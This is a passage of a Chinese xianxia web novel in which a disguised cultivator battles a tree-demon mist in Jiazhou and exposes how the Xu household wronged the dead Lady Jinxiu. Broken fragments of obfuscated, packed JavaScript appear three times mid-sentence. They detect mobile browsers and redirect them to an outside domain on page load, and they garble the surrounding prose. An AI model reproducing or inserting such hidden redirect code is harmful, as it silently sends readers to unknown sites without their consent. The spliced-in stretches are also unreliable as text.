“楚师妹小心。”卫朔警惕地打量着四周,“这妖力怪得很,你在这里待着,不要乱动,莫要强出头!” “小钰!” 石翰轩高声喊着冲出门去,转瞬间被拍飞回来,砰的一声砸在墙上,哇的一声吐出一口黑血。 “明霞宫弟子,摆阵!”卫朔的声音如同一柄长剑刺破狂风,他抢上前去,唤出命剑。 在他身后,四名明霞宫弟子将长剑插入地底稳住身形,口中念念有词,手掌上下翻飞,霎时间,剑光大盛,一道无形的屏障将屋内众人包裹起来,仇千水与裴云齐也趁此时冲上前去,意图合上房门后重新贴上符箓。 “不要!林钰师妹被妖怪拖出去了!”石轩翰趴在地声嘶力竭地喊着。 他试图爬向房门的方向,可即使浑身青筋暴起也无法移动自己身躯半分。 “性命攸关之际,逍遥峰弟子不可贪生!石轩翰,你可还记得!”仇千水的声音颤抖着从前头传来,石轩翰不可置信地抬起头,汗水与泪珠自他脸上滚落,片刻后,他悲痛地闭上双眼。 眼见着房门要被关上,韩纪佝偻着身体来到石轩翰身侧,低声对他说:“我把李林钰救回来,你给我磕三个响头,愿不愿意?” 石轩翰睁开眼,恼怒与愤恨好似岩浆一般喷薄而出,先落地的却是他的眼泪。 他直视着韩纪的眼睛,毫不犹豫地答道:“好。” 韩纪勾唇轻笑,佯装被妖孽控制了身躯往门外跌去,正当她要摔出门时,一只冰冷的手拽住了她的手腕。 韩纪以为又是卫朔,心里暗暗叫苦,回头一看,不由得吃了一惊。 任她怎么想也想不到,这样危急的时刻,裴云齐竟会真的出手救她。 “别怕,抓住我的手……”裴云齐一只手抓着木门,一只手拽住韩纪的身子,那常常带着阴险笑意的眼睛此时映出黑风中韩纪灰扑扑的脸庞,“别害怕……我会救你的……” 他目眦欲裂,满头大汗,一双眼睛迎着狂风眨也不眨地注视着她,竟真让他在力竭之时迸发出一股力气将韩纪硬生生拽回门中。 就在这时,只听“嗖”的一声,紧接着是“嗤”的一响,一块糕点自裴云齐身后的人群中飞出,正好打在裴云齐紧扣着韩纪手腕的手指上。 这一击之下,裴云齐拽着她的手松开了。 韩纪听见一声惊呼,便跌出了大门。 “楚清妙!” 韩纪闻声回身望去,只见黑风之中,裴云齐满脸担忧,双目圆睁,幸得仇千水按住了他,他才没有冲出门来。 越过裴云齐颤抖的肩头,阿随隐在黑暗之中。 天昏地暗的时候,他的眼睛是沉甸甸的锁链,黑黢黢的深渊。 隔着哭嚎奔走的人群,他静静地望着她,似乎眼中只有她一人。 木门咔哒一声合上,阻绝了韩纪的视线。 屋外,妖气冲天,偌大的嘉州城此刻如同一潭死水。 额头的疼痛唤醒了李林钰,她睁开眼,看见颠倒的天空落在她的脚底,高耸入云的嘉州城城墙贴着她的身躯,一团黑气紧紧缠住她的双脚将她往张着血盆大口的黑黢黢的城楼拖去。 在她身下不远处,一个昏迷的丫鬟被黑气卷在半空。 李林钰头部充血,强撑着捻诀起势,方开口,身体忽然被高高的扬起,伴随着一声闷响,她腰腹传来刺骨的疼痛。 城墙上凸起的石块击穿了她的血肉,鲜血落到她的脸上。 李林钰连声呼痛,眼眸中映出丫鬟苍白的脸。 “剑……剑来!” 微弱的剑鸣响起,命剑疾飞而来,斩断脚下黑雾,李林钰手执长剑,飞身救下摇摇欲坠的少女,摔落在地。 “喂,小丫鬟,醒一醒。”李林钰浑身再生不出半点力气,她气若游丝地匍匐在地,勉力伸手拍着丫鬟的脸。 她这才发现,自己的手掌不知何时沾满了鲜血,把人家小姑娘粉雕玉琢的一张小脸染得红岑岑的,若是往常,她必将这小姑娘的脸庞擦净,可此时此刻却不是计较这个的时候。 黑雾不断逼近,李林钰脸色铁青,满头大汗,更加焦急地呼唤道:“你别昏迷了……我走不了了……你还得逃命……醒一醒……” 黑雾如同藤蔓一般沿着城墙缓缓爬下,如同蛇玩弄自己的猎物一般静静地看着他们。 春生在细如蚕丝的呼唤声睁开了眼,皂白分明的眼珠只是转了两圈,便理清了当下的形势。 自小做惯了重活,背上眼前这位半死不活的李仙长、再拾起她的长剑的时候,她没有感到多少重量。 只是这仙长身上滴滴答答流出来的血液让她害怕极了,身后追逐她的妖怪时不时撞在街道的货摊上,也让她胆战心惊。 平日里采买物资时稀疏平常的街道如今变得比她这辈子走过的所有路都要长,似乎无论如何也跑不到尽头。 春生的脚步越来越慢,双脚一软,体力不支地跌倒在路边。 黑雾朝她扑涌而来,她害怕得闭上了眼睛,可想象中被黑雾撕扯到身首分离的剧痛却没有传来。 一根木杖飞入那朝她伸出触手的黑雾中,紧接着一个人影与她擦肩而过。 那人淡淡道:“躲起来。” 春生颤抖着睁眼看去,只见女子依旧穿着那身破烂得看不清花纹的青色布衣,飞镖一般折回的青木杖稳稳落在她的手中。 她高高跃起,身姿如同一只轻盈的燕子。 “楚仙长!”春生心中的害怕顷刻间消失得无影无踪,她迅速擦干眼泪,将晕厥过去的李林钰重新背到背上。 黑雾无形,韩纪原本以为对付起来会很麻烦。 可未曾想,青木杖击中黑雾的瞬间竟震得她手掌发麻。 最重要的是,她的心脏开始疯狂跳动起来,嘉州城中封印了她力量的灵宝就在黑雾之中。 双方缠斗起来,黑雾无边无际,韩纪手中青木杖舞起狂风,只见杖影重重,虚实交加,几个回合下来,黑雾便被打退几丈。 便在韩纪要上前一探黑雾的真面目时,黑雾桀桀地笑起来。 “再往前一步,我就杀了他们。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941780|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 韩纪闻声回头,只见李林钰将长剑架在春生的脖颈处,双目赤红地盯着自己。 “楚仙长救我!”春生双眸含泪,在长剑的胁迫下一步一步向前走来,最终在韩纪十丈开外停下脚步。 陈素自刎的画面浮现在韩纪脑海之中,当时她离陈素只有三丈之远,也仅是勉强救下,如今她与春生之间隔着十余丈远,若她失手,李林钰与春生都必死无疑。 李林钰偏了偏头,唇瓣紧闭,属于她的声音从黑雾之中传来:“要么你就当做不知情,带着他们两个离开嘉州城,要么就杀一个留一个,楚仙长,你选一个救。” 韩纪回身望向黑雾,银牙错啮。 黑雾大笑道:“你非要多管闲事,现在选不出来,就让我帮你选。” 在它嘶哑如同狂风呜咽的声音之中,长剑划破春生颈侧的肌肤,血珠如雨后春笋一般滋滋冒出。 “楚仙长,你不要管我了,春生只是一个无父无母的孤儿,死了也没人关心,你救下李仙长吧,她还可以帮你!”春生抽抽搭搭地说着,绝望地闭上眼睛。 韩纪没看她一眼,只冷声道:“护好你的小命,这里轮不着你舍己为人。” 说罢,她一步一步走向黑雾,身上仅存的灵力被她散出,灵力与黑雾相接的瞬间两股力量如同同根的枝丫一般纠缠交错,相互融合。 春生震惊地睁大眼睛,不可置信地望着眼前这一幕:那无边无际的黑雾竟源源不断地涌进楚仙长的身体之中。 黑雾的本体如同潮水一般急速退开,可依旧有不受控制的黑雾自它的身体中流出,在黑雾完全褪尽的地方,巨大的树根显现出来。 韩纪只觉周身经脉如同涨潮的河流一般拍打着身躯,充盈的力量正快速填充着她干涸的丹田。可与此同时,滔天的怨气也冲进她的身体,竟试图将她的身躯占为己有。 “你是谁!为什么要阻拦我!”刺耳的哭嚎声如同柔软的针沿着她的经络游走,紧接着黑雾便发狂地吼叫起来。 韩纪压着嗓子说:“我不知道你是谁,但是你应该要知道我是谁。” 黑雾顿悟,嘶声狂笑道:“竟然是你!原来是你!” 黑雾如同绸缎一般将韩纪包裹起来,它的声音由嘶哑变为纤细,阵阵海棠花香透进来,最后竟是无数女子的声音,而在那黑雾之中,隐隐透出神光。 五行灵宝之一,神木简。 韩纪瞑目观视,发现神木简之上生出了一层怨毒之力,而这怨毒也侵蚀了树妖的本体。也正是这怨毒之力,控制了嘉州城所有人的心神。 她不由得冷笑:“借了神木简之力,怪不得一个小小的树妖能搅弄一城风云。” 一个声音慢慢道:“韩宗主,我有无穷无尽的冤屈,却不知仇敌是谁。还望韩宗主手下留情,待到我将冤仇报尽,必将所有功力悉数奉还,自散于天地之间。” 韩纪并不信它,冷声反问:“若我不答应,你又将如何?” 黑雾收敛了爪牙,又恢复方才的嘶哑声音,声嘶力竭地说道:“斩妖除魔,您是行家,但您的本事再大,也无法同时救下一城的人。神木简生出怨毒之力,整个嘉州城的人与妖都中了毒,冤仇不报,怨毒难消,天明之时,便是嘉州城覆灭之日。” 话音刚落,四面八方的黑雾之中便涌现出无数悬空的人影。 韩纪望去,密密麻麻的人脸浮现出来。 他们如同失去知觉的人偶一般被提线控制着吊在半空,双眼微睁,不见瞳仁。 他们的手慢慢提起,掐住了自己的脖颈。 15. 锦绣夫人 徐府外,轱辘声响起。 付子英捂着火辣辣的屁股,死性不改地从门缝里张望。 在楚清妙、李林钰和一名丫鬟被卷出前厅后,他们好不容易关上了门,却在休息之时听见一阵奇怪的声音从柱子后面传来。 付子英探头看去,便见那具无头尸躺在地上,一动不动。 原本用来盖尸的白布不知道被狂风卷去了哪里,血淋淋的伤口在烛火的映照下显得更为可怖。 付子英于心不忍,便掀起那无头尸的衣裳准备将尸体的颈部遮住,正在此时无头尸忽然跳起来,追着她打,她逃脱不及,屁股挨了好几下。 现下,那具无头尸调转了方向在屋子里追着徐云石打脑袋,付子英才腾出手来扒在门缝上往外张望。 院子里,天光昏暗,遍地狼藉。 拉着板车的身影步履缓慢地从迷乱的黑雾中走出,待到近了,付子英才看清板车上躺着两个人。 春生撂下板车去扣厅门,焦急喊道:“快把门打开,李仙长和楚仙长快不行了!” 付子英还未答嘴,身后便传来劲风,她匆忙一瞥,高声叫道:“快躲开!”紧接着便一个前翻滚躲开扑来的无头尸。 无头尸身上缠着的捆妖绳燃起黑烟,仙门弟子们却不敢放手,两相用力便直直撞出门去。韩纪被这动静惊醒,从板车上一骨碌坐起,迎面而来的便是无头尸的飞来一脚,幸得春生拼命推开板车,她这才没有刚刚醒来又被踹晕过去。 仇千水长鞭缠住无头尸身躯的刹那,卫朔的利剑将其牢牢钉在地上。 被剑刺穿的身躯如一汪死泉一般溢出粘稠的黑血,一股腥臭无比的黑烟随之弥漫开来。 韩纪眼疾手快地捂住自己与春生的口鼻,往后退去,待到黑烟散尽,无头尸身快速腐烂,肚子里破出个血涔涔的头颅。 那头颅跳跃着,发狂的尖叫起来,声音嘶哑好似布匹断裂。 它叫嚣道:“冤仇不报,怨毒不消,天明之前找不出杀我的真凶,整个嘉州城就陪我一同入地府!” 说罢,那头颅狂笑着转身,开始用男不男女不女的声音哼唱起渔歌来,那声音渗人得紧,叫人头皮发麻,卫朔准备将其制服之际,一身影如呆头鹅一般跳起,将那头颅拢在经幡之中,抱在胸前,“康哥康哥”的哭叫着,正是疯了的王婆。 不多时,先吸入黑气的仙门弟子个个手脚发软,瘫倒在地,便是卫朔和仇千水这等修为出众的,也不得不瞑目凝神,打坐调息。 一股股黑气在他们周身乱窜,他们的眉心中红色妖纹渐渐显现。 卫朔紧闭着双眼召出命剑,剑光将仙门弟子笼罩其中。 他高声道:“怨毒入体,邪魔滋生,诵清心诀!” 瘫倒的弟子们强撑着最后一丝清明纷纷召出命剑,诵诀声响起。 “心欲安静,意气专一……” “意定心安,方能明志……” “心术守真,一而不化……” 在诵诀声中,黑风在院中涌动,卫朔睁开双眼望向韩纪,正声道:“楚师妹,若我被邪魔所控,请你将我就地诛杀。”说罢,他闭上双眼,再不发一言。 诵诀声如同风雨中的孤舟,黑暗中的灯苗,渐渐消失翻滚的黑夜之中。 韩纪知道,他们正在自己的识海之中与妖魔进行殊死搏斗。 眼见着求生的依仗纷纷倒下,厅内的宾客与女眷躁动起来。 他们慢慢移至厅门前,探头探脑地往外看去,只见韩纪还好端端地坐在板车上同春生讲话,忙问道:“仙长,如今该如何是好啊?” 韩纪冷冷道:“如今驱邪阵已破,躲在厅内已是无用,照我看来你们可以交代遗言,准备后事了。” 宾客一听,如同油锅上的蚂蚁,急得团团转,寄希望于院落里的仙长们,却发现无论他们如何呼唤,这些仙长们都没有任何动作。 眼见他们动作越来越粗鲁,韩纪出声打断:“你们莫去叨扰他们了,他们本就受了怨毒之力侵蚀,又中了那妖孽的奸计,吸入了毒雾,稍有不慎就会被妖邪控制作恶,说不准还要死在你们前面。” 她顿了顿,目光扫视在场众人,继续道:“不过,你们要是这样推他们,万一不幸让他们被妖邪所控,先死的就是你们了。” 此言一出,宾客、女眷、丫鬟、小厮纷纷不敢再动。 他们迟疑着、彷徨着、战战兢兢、颤颤巍巍地跪倒在韩纪身侧,哀求道:“还请仙长搭救!” 韩纪沉吟片刻,十分为难地说:“诸位,非是我楚某人不肯救,实在是有心无力。地上躺着的这些可都是各大仙门的精英,我只是玉苍派中一名无足轻重的小弟子,他们尚且救你们不成,我如何能救?” “仙长救命!只要仙长能救我,我愿酬以百金。” “仙长若是能救我——不,救下幼子,我愿献上所有家产。” 韩纪偏头听着这些人七嘴八舌的应许,微蹙着眉,思?良久方才应道:“我乃修仙之人,不图钱财名利。如今诸位将性命交付与我,我也需把一些事情说明白了。目前唯一能救你们的办法,是化解这怨毒之力。怨毒一去,你们便不会被妖邪控制自相残杀,地上躺的这些仙门子弟也能恢复灵力,届时也能撑到仙门长老到来,驱除邪祟,你们自然也就得救了。 ” 凡夫俗子听不懂什么叫怨毒,只道这方法能让自己活命,纷纷点头答应。 韩纪拍了拍手,跃下板车解释:“所谓怨毒便是由怨念结成的邪毒,可让万事万物化妖作恶,可怕得很。当然,怨毒并不是那么容易形成的,天时地利人和缺一不可。如今嘉州城的这只妖怪应该是只海棠树妖,这树妖妖力虽小,但有怨毒之力相助,在座诸位都闻过海棠花香,喝过海棠花茶,吃了由海棠花制成的糕点,都中了怨毒。如今,只有化解怨毒,才可以保你们不死,诸位不妨想想,这怨毒从何而来?” 韩纪并没有将话说全,怨毒并非是所有怨念都可结出的,此次的怨毒之所以滋长得如此迅速完全是因为借了神木简之力。 众人低头思索,却没有得出结果。 一树海棠,又能生出什么怨毒呢? 夜风中吹来海棠花的香气,被王婆抱在怀中的头颅又开始低声哼唱渔歌,这一次那渔歌不再阴森可怖,凄婉动人的旋律在雾沉沉的夜里好似一叶小舟里透出的点点灯光,歌儿顺着水流缓缓飘向长满苇草的白沙堤,王婆紧抱着头颅流下两行浊泪。 “这是清溪镇那边常唱的渔歌。” “这徐府之中可有清溪镇人?” 宾客们低声议论起来,一直隐在韩纪影子里的春生忽然开口说:“楚仙长,我听老管家说过,之前后院的海棠树是种在锦绣阁的。听说那阁里有个美丽的锦绣夫人,她就经常唱一些渔歌,会不会与她有关?” 听见这句话的丫鬟与小厮交头接耳,互相询问着对方知不知道这件事,宾客们则将目光移到徐云石身上,示意他赶快给仙长一个答复。 徐云石脸色登时变了,刹那后露出些许怀念之色,迎着众人打量的目光,他摩挲着手上的碧玉扳指,怀念道:“锦绣夫人确实是我此生见过的最美丽的女子,她那样善良那样仁慈,是决计不会与这树妖有勾结的。” 韩纪双手抱胸,端详着他的神情,冷冷道:“仔细说说。” 徐云石柔声道:“在五六年前的一个秋日,我与管家去嘉州城附近的村镇里收粮,返程之际在清水溪畔救下了溺水的锦绣夫人。她醒来后,什么都不记得了,我收留了她,日子久了,我们渐生情愫。一年之后,她怀了孩子,可是好景不长,那孩子没保住,此后她终日郁郁寡欢、没过多久就撒手人寰了。她生前温婉善良,死后我也请了人做法事,不可能与她有关的。” 韩纪反问:“若是思子心痛,抑郁而终,确实不会怨气结毒,惹得树木化妖。但如果她的死如你所说一点问题都没有,你为什么要找人做法事?” 徐云石神色微变,良久才道:“人死之后做场法事无可厚非,现在并无证据证明锦绣夫人与树妖之间有联系,仙长还是不要妄下决断,玷污旧人。” 韩纪道:“是与不是,开棺验尸便可知晓。既然她死在徐府,你应当知晓她的尸身葬在何处。” 徐云石怔愣一瞬,开口答道:“在嘉州城外往西五十里的坟地之中。” 韩纪追问:“石碑还是木碑,碑文上写的什么名字?” 徐云石思?片刻,答道:“石碑,写的是……写的是什么,时间太久,我有些记不起了。” 韩纪冷眼斜睨着他:“徐员外,你再想想,你与她渐生情愫,她为你落胎而死。不过五六年,你连她墓碑上的字都不记得了么?” 徐云石讪笑不语,身侧的账房先生李元站出身来,答道:“这位仙长,因着锦绣夫人想不起自己的姓名,我们石碑上便没有刻字,老爷这些年为了家中生意殚精竭虑,不记得这些细枝末节之事也在所难免。” 韩纪扫了李元一眼,开口唤道:“小——阿随,现下有个事情要请你去办。” 阿随探身出来,朝徐云石与李元各瞥了一眼,偏头在韩纪耳侧轻声说:“需要我把这两个骗子的舌头拔出来么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941781|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他横眉竖目,似乎正因这二人的谎言而极为生气,韩纪见了,脸上露出淡淡微笑,摇头道:“拔了舌头怎么听得见真心话。” 她眯了眯眼,续道:“你把徐员外领出去,带着他将嘉州外往西五十里坟地里的无字碑都挖了,看看有没有这位锦绣夫人,如果没有,你就在那个坟地里给他竖个无字碑。” 阿随阴沉着脸,上前一步,双手叉腰,怒视着徐云石与李元。 韩纪看不见他的神情,却也感受到了他的怒气。 片刻后,他从犄角旮旯里翻出个铁锹,大跨步走到徐云石身前,打开徐云石挣扎的手,拎起徐云石的脖子就要跃出墙去。 徐云石大受惊吓,如同稚子一般挣扎却无法撼动阿随的手掌,顷刻间便吓得面色惨白,满头大汗。 他的眼睛在四周乱瞟,终于看定了一个位置,哀嚎着:“我与她相爱一场,实在不忍见她被挖坟掘墓,曝尸荒野,非要去就带李先生去,他是我府上的账房先生,锦绣夫人的丧仪是他主持的,他比我清楚!他比我清楚!” 阿随闻声看向韩纪,见她不作阻拦,便放下徐云石,转头朝着李元走去。 李元惊慌失措地躲避着,最终如小鸡仔般被阿随拽住后颈拾起,在半空中胡乱蹬起的脚让他看上去像一只被串在竹签上蹦跶不了多久的蚂蚱。 李元一边紧紧抓着阿随的手臂,一边朝韩纪大喊道:“楚仙长,饶命啊!我不能出这个院门,出了妖怪会杀了我的!” 韩纪朝他摆了摆手,道:“李先生,放心吧,你瞧瞧我和春生不也好好的嘛,这位小哥会保护你的。不过他脾气不好,若是辛辛苦苦挖完了坟,没找到锦绣夫人的尸首,你就要吃点苦头了。” 阿随冷声威胁:“敲算盘的,你要是敢骗我,我就把你劈成三段。” 李元眼见着自己要在男人的拖拽下翻出院墙,眼前仿佛出现了自己被割断脖颈身首异处的画面,惨叫道:“老爷你救救我吧……” 徐云石满脸痛色,小跑着欲拉住他呼救的手,却终究差了两步。 他花白的鬓边沾着湿漉漉一片汗珠,脸上的皱纹挤兑着肌肉,终究挤出一个哭笑不得的神情,咧着嘴颤声道:“你放心去吧……若是有什么意外你的身后事我都会打理好的……” 生锈的铁锹噔的一声落在他耳侧,破开石板,插入地底。 李元重重地摔在墙外坚硬的青石板路上。 腰背处传来的疼痛使得他的胸腹之中堆积了许多哭嚎之声,可抬眼看见男人冰冷的眼神,他吓得噤了声。 “走吧,老东西。”阿随扯过他高扬的手,如拖拽一个死尸一般将他往府门拖去。 他拼命地在地上摩挲自己自由的右手,只为拽住些什么东西,可抓住什么都是徒劳无功。 见他如此挣扎,阿随放慢脚步,漫不经心地同他说:“我就是一个力工,搬砖种地颇有能耐,斩妖除魔却没本事,不过是骗那小娘子欢心的空话,只是可怜你要白白丧命于此。不过你可别怪我,毕竟是你家员外为求自保换你出来送死的。” 阿随每说一句,他的脸色就苍白一分,待到最后一个字落地,他脸上的肌肉便开始剧烈的颤动起来。 眼见着自己马上离府门三丈之远,他死死抠出青石砖缝不撒手,五根手指头转眼间就从指甲盖中渗出血来。 忽然,他察觉到紧拽着自己的力量松开了,心中升起微弱的希望,连滚带爬地从地上站起,抬脚往徐府紧闭的大门处跑去。 却不曾想,他的眼前忽的晃动过一大片一大片盛开的海棠花,那场景就好似他也是海棠花中的一朵一般真切。 一缕清风环过他的脖颈,他低头瞧去,惊恐地发现原本垂在他身体两侧阴影中的双手不知被什么东西扯了起来,紧紧地锁住了自己的咽喉。 窒息瞬间夺回了他的神志,四周盛开的海棠花化作一只巨手从他的唇瓣与鼻腔中穿过,而他如一只待宰的鸡鸭,被屠夫悬吊在双手之上,叫天不应叫地不灵,顷刻间就要魂归地府。 他紧闭着眼,恍惚中觉着脸颊上传来火辣辣的疼,想睁开眼,眼皮却有千斤重。 待到听见有人唤他,他费力地睁开眼,眼泪早已乱纷纷地涌出来。 “起来,不要装死,去坟地。”阿随重重踹了他一脚,伸手又要将他拉出府门。 李元只觉眼前黑白交替,身旁阴风阵阵,那令人窒息的海棠花香又从四面八方涌了过来。他无论如何不肯再动,浑身紧缩成一团抱着阿随的腿,失声尖叫道:“没有什么坟地!没有什么坟地!锦绣夫人就埋在徐府,埋在海棠树下!” 16. 素女啼泪 墙角,李元有气无力地瘫坐在地。 长夜沉沉,冷风掠过屋檐,他满头大汗如雨珠滚落。 众人怀疑地看向徐云石,无声的目光之中有许多把不具名的尖刀。 “徐云石,到现在还不说真话,你是想让嘉州城的所有百姓都给你的秘密陪葬么?”韩纪负手而行,眼神似一束冰冷的月光,照得徐云石彻骨生寒,而她那如同白玉一般苍白的唇瓣间吐出的话语比她的眼神还冷上几分。 她轻笑着问他:“还是说,你也想去坟地看看?” 徐云石闻声汗毛倒竖,下意识瞄了一眼几乎将死的李元,目光落在他脖颈上乌紫的手印时又如猫儿踩着烧烫的炉子一般惊慌失措地逃开了。 他抬起袖子擦去额角的汗,结结巴巴道:“锦……锦绣夫人……确……确实葬在了府中那棵海棠树下。” 众人大惊,不少人交头接耳起来。 徐云石见状连忙解释:“我太过思念她,不忍与她再次分离,便将她葬在了海棠树下,每每海棠花开,仿佛她又临世。这也是她的遗愿,她病入膏肓,却期盼伴我到白头。我方才不说,只是担心……担心旁人的眼光……我徐云石说到底也不过人世间一俗人罢了。” 痴话惯是迷得住痴儿,韩纪低笑看向角落中穿金戴银、满头珠翠却面无血色的徐夫人。 “海棠树……倒是与此次作祟的妖怪有些关系,只是她为何作恶,我们还不知。徐云石,你再想想,你若是想不出来,我便让你去府外想想了。”韩纪目光扫过目露不满之色的人,冷声威胁,“诸位如果对楚某的方法不满意,那楚某现在就可以走,明日此时来给你们收尸。” 李元已经见识到这位其貌不扬的仙门弟子的雷霆手段,望见韩纪的目光幽幽地落在自己身上,心中挣扎几次,胆怯地说:“在锦绣夫人落胎前,徐府大夫人往锦绣阁送过药,次日清晨锦绣夫人的孩子便没了……” 他话音刚落,徐夫人抱着孩子拨开人群走到最前面,努嘴皱眉,直视于他。 “你胡言乱语!”女人的声音纤细婉转如同黄鹂,又因愤怒与恐惧发着抖,她面色铁青,唇齿轻颤,一口银牙在嘴中嗒嗒撞击,“我是去看过她,但我只是去送了一些补品。那些都是王婆置办的,绝不会有任何问题。那日康哥还吃了两口补品,若是有问题,他怎能活到今日?” 抱着康哥头颅的王婆听见了熟悉的名字,从腥臭的经幡中抬起头来,一双浑浊得发白的眼被夜空染成了深不见底的黑色。 长满老人斑的脸忽的抽动起来,她茫然地抚摸着经幡之下的人头,喃喃道:“康哥,你莫要再睡了,该起来吃些东西了。” 经幡在夜风的吹拂下掀开一角,人头紧闭的双眼便露了出来。 烛火照亮眼皮的瞬间,人头抖动起来,几片树叶从他的喉管之中落下,宛如被蜘蛛丝网捕捉住的蝴蝶一般,黏糊糊,皱巴巴。 王婆忽然大喊道:“她来索我儿子的命了!是她索了我儿的命!我要杀了她!我要杀了她!”她愤怒至极地扑倒在地,泪水挂在皱巴巴的脸上。 她在看清徐夫人怀中的孩童之时目光化为淬毒的兵刃,将人头丢到一旁,扑倒徐夫人身上一面撕咬她怀中的孩子,一面口齿不清地骂道:“为什么死的不是你的儿子!为什么是我的!定是你们拿我家康哥换了自己的儿子一命……” 小孩不过八九岁,浑然被这场景吓傻了,抱着徐夫人的脖颈嚎啕大哭,徐夫人也手忙脚乱地护住自己的孩子。 韩纪将那孩童丢给春生抱着,扯开王婆,却听得徐夫人惨叫一声,偏头去看,王婆嘴中囫囵地吞下一个事物,她急忙画了一张符打入王婆身体之中,抬头去看徐夫人伤势时,只见她右鬓之后血迹斑斑,一只耳朵被扯落下来。 王婆的眼珠子渐渐恢复清明,嘴上仍念叨着:“是他们害死了我的康哥!我要他们偿命!” 徐夫人捂着自己被咬掉的右耳,啼哭不止地骂道:“老不死的,我平时那般对你,你居然……你儿子就是该死!他死有余辜!” 韩纪也不睬她,径直走到王婆跟前,问:“你都知道些什么,告诉我,若是真有谁害了你的康哥,我便将他丢出府外,让他给你的康哥陪葬。” 王婆并不理会她,佝偻着身子捡回那颗血淋淋的人头,哆嗦着骂苍天:“老天爷你不长眼!我儿纯良忠厚,你叫他身首异处,这些人丧尽天良,你却让他们好端端的活着!” 骂完苍天,她回头直勾勾地看着徐夫人,啐道:“那贱人的孩子就是被你活活打掉的!要杀也应该杀你的儿子!一定是你做了手脚,让我的康哥替你的儿子抵了命!你会遭报应的!你会遭报应的!” 此言一出,院中人皆大吃一惊,一道道谴责的目光如银针一般射到徐夫人身上。 “看来该被丢出去的人是你啊,徐夫人。”韩纪微微偏头,嘱咐阿随,“徐夫人毕竟是个女流之辈。好好把人请出去,莫要吓着她。” 徐夫人见身子颀长、脸色怪异的男人无声地朝自己大跨步过来,吓得跌倒在地,尖利的哭叫声穿破黑夜,她恶狠狠地看着王婆,原本温顺的神情变得恶毒。 “王婆,你当真以为我不知道你背地里干的事么?”徐夫人双手毫无章法地挥舞着,尖利的指甲划破了阿随的手,指着王婆怒吼道,“我是打杀了那贱人的孩子,但是你——” 顺着纤细手指的方向望去,韩纪注意到王婆的表情正慢慢凝固,就好像一碗冷却了的凝结成乳白色固体的猪油。 “——你痴傻的儿子喜欢她,你为了给自己痴傻的儿子传宗接代,竟然趁老爷外出叫他偷偷去爬那贱人的床!我是有罪,但我不过是担心那贱人生出一个同样痴傻的小儿,失了老爷的恩宠,后半辈子无依无靠,是出于好心!你呢,为了自己家里那点龌龊事,把人不当人!” 春生立在韩纪身后,微不可察地嗟叹一声,在场的女眷脸上皆露出可怜的神色,交头接耳,议论纷纷。 “锦绣夫人好可怜啊,这也太过分了。” “王婆平日里看上去慈眉善目的,没想到私底下是这种人。” “真看不出来康哥一个傻子,居然还有这种心思!” 王婆不怕别人骂她,可听到那些人骂自己那如同孩童一般良善天真的儿子时,她愤怒得跳脚骂道:“你们胡说八道!康哥最是宽厚仁慈,是那贱人勾引的康哥!若不是那贱人诱骗我康哥,我康哥也不会因为帮那贱人送信而被打断了腿!是那下贱胚子活该,她欠我康哥的,她勾引的我康哥——” “不许你再侮辱她!”一声怒喝打断王婆的辱骂,她颤巍巍地回头,过于枯朽的身体无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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韩纪勾唇冷笑,顺手扯过一片花叶将手中的鲜血擦净:“王婆已死,怨毒未消,你杀错人了。我想,比起王婆,锦绣夫人更恨你那位打杀她孩子的夫人。今夜,怨毒不消,众人必死,还请你手起棍落,让你的夫人也付出代价。” 徐云石震惊地看向韩纪,颤声道:“修仙之人以除妖驱魔,普度众生为己任,你为何……你为何要逼我手刃发妻,你们修的是哪门子道法,拜的是哪门子神仙……” 黑夜的掩映下,几个男人立在阴影里指责道:“这位仙长,你未免太过残忍,不除妖便罢了,还帮着妖怪杀人,实在是仙门之耻。” “是啊,她这样乱打乱杀,已经逼死了一个老太太了,又准备逼死徐夫人……” 他们好似打量器物一般打量着她,不算修长的手指指点着她的品貌,不算恶毒的嘴巴评判着她的对错,最后化为众口一词的“助纣为虐”伴着唾沫飞向她。 韩纪将这些话一一听入耳,不气也不恼。 她只朝着抱着孩子的春生耸耸肩,道:“既然说我们助纣为虐,我们就不腆着脸拖大家后腿了。”说罢,她又对院中众人作揖拜别,道:“今日诸位的善心上传于天,善行下达于地,叫我大开眼界。日后若我路过嘉州城,必来此地祭奠各位。” 说罢,她叫春生将孩子放下,牵过春生的手转身离去,阿随哼着小曲跟在她身后。 未走几步,便有人上前抓住韩纪衣袖,颤巍巍道:“仙长,你修仙求道本就为救济苍生,怎能见死不救,弃我们而去?” 韩纪一根根掰开那女子的手指,抽出自己脏兮兮灰扑扑如旧抹布一般的袖子,笑道:“此言非也,我要救你们,你们说我助纣为虐;我要走,你们说我见死不救。横竖我都不占理,你们叫我如何是好?” 17. 杨家新妇 哭啼声充斥在韩纪耳边,她坐在石阶上伸出手指:“一,怨毒不消,没人活得过今晚;二,按我说的做,我保你们无辜之人不死;三,如果有人还对我的言行指指点点,死了与我无关。毕竟求仙拜佛最讲究缘分,我不渡无缘之人。” 院落中,回廊下,围着仙门弟子们或坐或站的人们都将一束束目光投到那蹲坐在石阶上侃侃而谈的女子脸上。 